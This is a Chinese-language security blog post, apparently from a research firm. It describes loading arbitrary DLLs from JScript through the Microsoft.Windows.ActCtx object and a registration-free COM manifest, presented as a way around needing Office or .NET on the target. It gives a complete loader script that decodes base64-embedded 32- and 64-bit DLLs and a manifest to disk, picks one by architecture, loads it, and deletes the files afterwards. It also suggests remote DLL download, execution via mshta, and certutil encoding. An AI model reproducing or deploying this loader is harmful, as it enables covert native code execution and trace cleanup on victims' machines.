目前网上公布通过JavaScript等脚本加载DLL动态链接库的方法有2种,一种是利用Excel.Applicationobject's RegisterXLL()进行DLL加载,另一种是James Forshaw开源的工具DotNetToJScript,这2种方式都非常巧妙,但是也存在一定的缺陷,就是必须确认目标主机安装了Office(Excel)组件或者.NET Frameword,关于这两种利用方法请参考文档最后链接。
为了尝试绕过这些限制,我无奈只能询问Google,功夫不负有心人,搜索结果反馈我微软提供了一个对象(Microsoft.Windows.ActCtx Object),该对象可以加载一个不需要注册的COM组件(动态链接库的一种),详细描述请参考https://msdn.microsoft.com/en-us/library/aa375644(VS.85).aspx。
抱着一切不以实战出发的技术研究都是虾扯蛋的原则,咱们直接进入正题。
这次主要利用Microsoft.Windows.ActCtx对象的Manifest属性,该属性指定了一个Manifest文件名,Manifest文件的主要作用是用于绑定和激活COM类、接口和库的相关信息,在XP及以后的Windows系统中,系统在执行EXE可执行文件时会首先读取Manifest文件,获得EXE文件需要调用的DLL列表(此时获得的,并不直接是DLL文件的本身的位置,而是DLL的Manifest),操作系统再根据DLL的Manifest文件提供的信息去寻找对应的DLL。
微软msdn上的一个配图比较直观地描述了这一过程:
在Windows系统中,如果应用程序指定了组件依赖关系,则程序启动时首先在WinSxS文件夹中查找共享组件,若未找到,则在程序安装目录下查找私有组件。
在大部分的情况下,组件的查找顺序如下所示:
1)WinSxS文件夹
2)\\<appdir>\<assemblyname>.DLL
3)\\<appdir>\<assemblyname>.manifest
4)\\<appdir>\<assemblyname>\<assemblyname>.DLL
5)\\<appdir>\<assemblyname>\<assemblyname>.manifest
更详细的描述可以查看msdn中的AssemblySearching Sequence。
首先通过VisualStudio 2010编写一个简单的DllDemo,该DLL的主要功能弹出测试窗口。
然后编写一个JavaScript文件,
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx"); actCtx.Manifest = "WindowsScriptHostExtension.manifest"; // ① try{ var DX = actCtx.CreateObject("WindowsScriptHostExtension"); // ② } catch(e){ } |
① 代表Manifest文件名,可以带绝对路径(推荐该方式),但请注意路径格式,可采用的路过格式为
actCtx.Manifest = "C:\\jsloadDll\\WindowsScriptHostExtension.manifest";
或
actCtx.Manifest = " C:/jsloadDll/WindowsScriptHostExtension.manifest";
如果文件名不带绝对路径,则加载可能失败,因为和程序运行时的环境变量有关。
例如双击运行loader.js,通过ProcessMonitor监控可以发现wscript.exe能正确找到manifest文件。
但是通过命令行下调用cscript.exe执行(路径为C:\WINDOWS\SYSTEM32),则查找manifest文件失败。
② CreateObject的名称必须和Manifest文件中的progid值一样即可。
最后再编写一个Manifest文件:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <file name="WindowsScriptHostExtension.dll"> <!-- ① --> <comClass description="DynamicWrapperX Class" clsid="{CE794ABE-C0AA-474E-8EEC-3EAAFA88F1CE}" threadingModel="Both" progid=" WindowsScriptHostExtension"/> <!-- ② --> </file> </assembly> |
① 与Manifest关联的DLL文件名,注意此处如果采用绝对路径将会失败。
② progid值必须和JavaScript文件中CreateObject的值一致。
现在总结一下研究过程中遇到的问题:
(1) 因为路径的问题导致加载DLL失败;
这个通常出现在Manifest文件file字段中name值的设置错误原因,经过测试为了更适用于Windows XP至最新的Win 10操作系统,强烈推荐文件名前加上 ./ 或.\ (例如./4dogs.dll或.\4dogs.dll),然后将DLL模块和JavaScript文件放置于同一目录下即可。
(2) 因为动态链接库的版本不确定原因(无法正确识别32位和64位宿主程序)导致加载DLL失败;
测试中如果宿主程序(例如wscript.exe或cscript.exe)是64位,而我们放置的DLL模块是32位,则会加载失败,同理32位宿主也无法加载64位的DLL模块。
为了更加准确的判别宿主程序版本,可以通过一段JavaScript脚本实现:
// 识别操作系统 var oShell = new ActiveXObject("WScript.Shell"); var oUserEnv = oShell.Environment("Process"); var colVars = new Enumerator(oUserEnv); var platform = oUserEnv("PROCESSOR_ARCHITECTURE"); if (platform == "AMD64") // bala bala bala; else // bili bili bili bili; |
(3) 子文件太多,作为一个实战派,我们应当尽量将功能集中在一个文件中完成,类似于James Forshaw开源的DotNetToJScript,设计思路是将Manifest和DLL文件”封装”在JavaScript代码中,运行后动态释放到JavaScript文件目录下,并且在执行完毕后可以清理DLL模块和Manifest文件,具体请参考loader.js代码。
// Base64解码函数 function base64decode(base64str, binary_file_save_path) { var xml = WScript.CreateObject("Microsoft.XMLDOM"); var node = xml.createElement("base64-node"); node.dataType = "bin.base64"; node.text = base64str; var binary_data = node.nodeTypedValue; var sw = new ActiveXObject("ADODB.Stream"); sw.Type = 1; // binary sw.Open(); sw.Write(binary_data); sw.SaveToFile(binary_file_save_path); sw.Close(); }; // Manifest文件 var base64ManifestHead = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KPGZpbGUgbmFtZT0iLi9XaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbi54"; // Manifest文件前段 var base64ManifestEnd = "iPg0KPGNvbUNsYXNzDQoJZGVzY3JpcHRpb249IkR5bmFtaWNXcmFwcGVyWCBDbGFzcyINCgljbHNpZD0ie0NFNzk0QUJFLUMwQUEtNDc0RS04RUVDLTNFQUFGQTg4RjFDRX0iDQoJdGhyZWFkaW5nTW9kZWw9IkJvdGgiDQoJcHJvZ2lkPSJXaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbiIvPg0KPC9maWxlPg0KPC9hc3NlbWJseT4="; // Manifest文件后段 var Manifest; var DLL32 = "bilibilibili"; // 32位DLL动态链接库文件base64编码后的内容 var DLL64 = "balabalabala"; // 64位DLL动态链接库文件base64编码的内容 var DLLName, DLLBin; // 识别操作系统 var oShell = new ActiveXObject("WScript.Shell"); var oUserEnv = oShell.Environment("Process"); var colVars = new Enumerator(oUserEnv); var platform = oUserEnv("PROCESSOR_ARCHITECTURE"); if (platform == "AMD64") { Manifest = base64ManifestHead + "NjQ" + base64ManifestEnd; DLLName = "./WindowsScriptHostExtension.x64"; DLLBin = DLL64; } else { Manifest = base64ManifestHead + "MzI" + base64ManifestEnd; DLLName = "./WindowsScriptHostExtension.x32"; DLLBin = DLL32; } // 释放Manifest和DLL模块 base64decode(Manifest, "./WindowsScriptHostExtension-test.manifest"); base64decode(DLLBin, DLLName); // 加载DLL var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx"); actCtx.Manifest = "./WindowsScriptHostExtension-test.manifest"; try{ var DX = actCtx.CreateObject("WindowsScriptHostExtension"); } catch(e){ } // 删除Manifest文件 try{ fso = new ActiveXObject("Scripting.FileSystemObject"); var f1 = fso.getfile("./WindowsScriptHostExtension-test.manifest"); f1.Delete(); } catch(e){ } // 删除DLL模块文件 try{ fso = new ActiveXObject("Scripting.FileSystemObject"); var f1 = fso.getfile(DLLName); f1.Delete(); } catch(e){ } |
上述代码大部分取自于互联网,可能有处理不足的地方,请自行修补。
关于最后一些想说的:
1) 利用Manifest的方式加载Dll通用性较强,可从WindowsXP到Win 10(32位和64位)均通用。
2) 利用方式应该不单单只有这些,比如可以通过远程下载DLL的方式来减少JavaScript文件大小,或配合mshta等其它宿主程序来执行JavaScript代码,希望有更多的大犇能共享其它利用技巧。
3) 该方式也适用于vbs。
4) 获取DLL模块base64编码的快速方式是利用certutil程序,命令如下:
certutil -encode bin.dll Encode.txt
然后去除头部和尾部的注释部分,替换掉换行符号即可。
参考文档:
本文为四维创智原创文章,如需转载或刊登,请注明原文出处。